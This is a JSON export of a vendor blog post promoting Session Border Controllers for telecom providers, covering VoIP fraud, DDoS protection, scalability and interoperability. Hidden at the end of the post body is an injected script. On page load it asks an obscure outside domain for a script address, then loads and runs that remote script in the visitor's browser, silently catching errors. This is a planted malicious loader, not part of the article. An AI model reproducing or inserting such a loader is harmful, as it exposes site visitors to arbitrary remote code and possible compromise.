{"id":1498,"date":"2021-09-07T08:15:15","date_gmt":"2021-09-07T08:15:15","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=1498"},"modified":"2025-09-05T11:29:32","modified_gmt":"2025-09-05T11:29:32","slug":"communication-service-providers-need-session-border-controller","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/","title":{"rendered":"Why Communication Service Providers Need a Session Border Controller?"},"content":{"rendered":"<p>Communication Service Providers today face a lot of complexities as they are trying to make a paradigm shift from the legacy of traditional telecommunication to IP based unified communication infrastructures in all areas of telecommunication. For implementing this change successfully, communication providers need a well-thought plan to deal with concerns of compatibility, centralized management &amp; security. To some, the mere thought of implementing, managing &amp; securing real-time communications might seem overwhelming.<\/p>\n<p>Today, SIP (session initiation protocol) is at the core of all unified communications including video, voice &amp; collaboration. To make these sessions flow secure &amp; flawless, <strong><a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\">Session Border Controllers<\/a><\/strong> must be deployed since they are the network cornerstone for new communications &amp; services.<\/p>\n<blockquote><p>Session Border Controller (SBC) Market Size in 2021 is expected to increase at a CAGR of roughly 3.9% over the next five years, will touch 800 million USD in 2024, from 640 million USD in 2020 <strong>&#8211; 360 Research Reports<\/strong><\/p><\/blockquote>\n<p>The main role of SBCs is to protect and secure the network from hacking attempts. As IP communication business is highly susceptible to cybersecurity attacks\u00a0 such as\u00a0Denial of Service (DoS) and Distributed DoS (DDoS) attacks, Wangiri, Toll Fraud and Service Theft, service providers are increasingly implementing SBCs to protect their channels.<\/p>\n<p>The below diagram provides the fraud losses associated with some of the fraud types.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2419\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/Telecom.jpg\" alt=\"global telecom fraud\" width=\"694\" height=\"425\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/Telecom.jpg 779w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/Telecom-300x184.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/Telecom-768x470.jpg 768w\" sizes=\"auto, (max-width: 694px) 100vw, 694px\" \/><\/p>\n<p style=\"text-align: right;\">Source: CFCA Fraud Loss Survey 2019<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f769fa86\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f769fa86\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Main_Reasons_for_Deploying_SBCs\" title=\"Main Reasons for Deploying SBCs\">Main Reasons for Deploying SBCs<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Robust_Network_Security\" title=\"Robust Network Security\">Robust Network Security<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Dynamic_Scalability\" title=\"Dynamic Scalability\">Dynamic Scalability<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Real-Time_Performance_Monitoring\" title=\"Real-Time Performance Monitoring\">Real-Time Performance Monitoring<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Intelligent_Alert_System\" title=\"Intelligent Alert System\">Intelligent Alert System<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Extensive_SIP_Interoperability\" title=\"Extensive SIP Interoperability\">Extensive SIP Interoperability<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Transcoding_Interworking\" title=\"Transcoding &amp; Interworking\">Transcoding &amp; Interworking<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#An_Overview_of_Session_Border_Controller\" title=\"An Overview of Session Border Controller\">An Overview of Session Border Controller<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/#Frequently_Asked_Questions_when_Buying_a_Session_Border_Controller\" title=\"Frequently Asked Questions\u00a0when Buying a Session Border Controller\">Frequently Asked Questions\u00a0when Buying a Session Border Controller<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Main_Reasons_for_Deploying_SBCs\"><\/span>Main Reasons for Deploying SBCs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>SBCs\u00a0 are loaded with attributes such as intelligent session control and improved scalability, which plays a crucial role in the communication network. Here are some of the important reasons for deploying a session border controller.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Robust_Network_Security\"><\/span>Robust Network Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>There are multiple types of VoIP based cyber-attacks that can be carried over a provider\u2019s network, which significantly impacts productivity &amp; revenue. Some common VoIP attacks include service theft &amp; fraud, DoS\/DDoS attacks, spoofing, registration storms, etc. SBC protects real-time communication networks from these attacks in different ways &amp; ensures security &amp; flow of SIP sessions between internal &amp; external networks.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dynamic_Scalability\"><\/span>Dynamic Scalability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>The SIP communications traffic will continue to grow as your business grows with more users &amp; traffic load.\u00a0 To gain carrier-grade assured performance &amp; maximum service availability under heavy traffic load &amp; quality of service policies, deploying an SBC gains paramount importance.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Real-Time_Performance_Monitoring\"><\/span>Real-Time Performance Monitoring<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>With the carrier-grade network, one needs a way to facilitate high-quality data collection &amp; organization that is timely, relevant &amp; accurate to better manage ongoing programmatic activities. A Session Border Controller does exactly that &amp; much more. It provides real-time comprehensive performance reports on live calls.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Intelligent_Alert_System\"><\/span>Intelligent Alert System<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>A robust intelligent alert system provides additional security to the service provider\u2019s network. It provides different types of alerts for the unusual system, performance, customer behavior &amp; recharge.\u00a0 Based on the triggering factors, service providers can decide on actions beforehand to be taken by the SBC in those situations; saving resources, frauds &amp; in turn increasing the profits.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Extensive_SIP_Interoperability\"><\/span>Extensive SIP Interoperability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>One of the major functions of SBC is to provide seamless sessions between different VoIP solutions. Different vendors &amp; VoIP networks may communicate in incompatible protocols &amp; codecs. This will result in a loss of traffic. So, deploying an SBC provides a smooth experience in terms of interworking &amp; interconnecting different networks and the protocols running over them with the help of SIP normalization.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transcoding_Interworking\"><\/span>Transcoding &amp; Interworking<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>One of the major jobs of Session Border Controller is to transcode calls &amp; media services. SBC allows communication providers to offer more services with lower investment but with higher ROI (return on investment). The interworking function enables the connection of networks between different IPs, making it possible for voice &amp; video calls coming from different switches to work seamlessly. Thereby, allowing the communication services providers to provide flawless services.<\/p>\n<p>The reasons mentioned above make a session border controller an extreme necessity for communication service providers, in today\u2019s time. If you think, you need an SBC for your business, take a free demo of REVE SBC.<\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/registration\/free-voip-reve-sbc\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"An_Overview_of_Session_Border_Controller\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/session-border-controller\/\" target=\"_blank\" rel=\"noopener\">An Overview of Session Border Controller<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Frequently_Asked_Questions_when_Buying_a_Session_Border_Controller\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/question-to-ask-from-sbc-vendors-when-buying-session-border-controller\/\" target=\"_blank\" rel=\"noopener\">Frequently Asked Questions\u00a0when Buying a Session Border Controller<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><strong>Note: This Blog is Updated &amp; Reposted on 21 Sep, 2021<\/strong><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Communication Service Providers today face a lot of complexities as they are trying to make a paradigm shift from the legacy of traditional telecommunication to IP based unified communication infrastructures in all areas of telecommunication. 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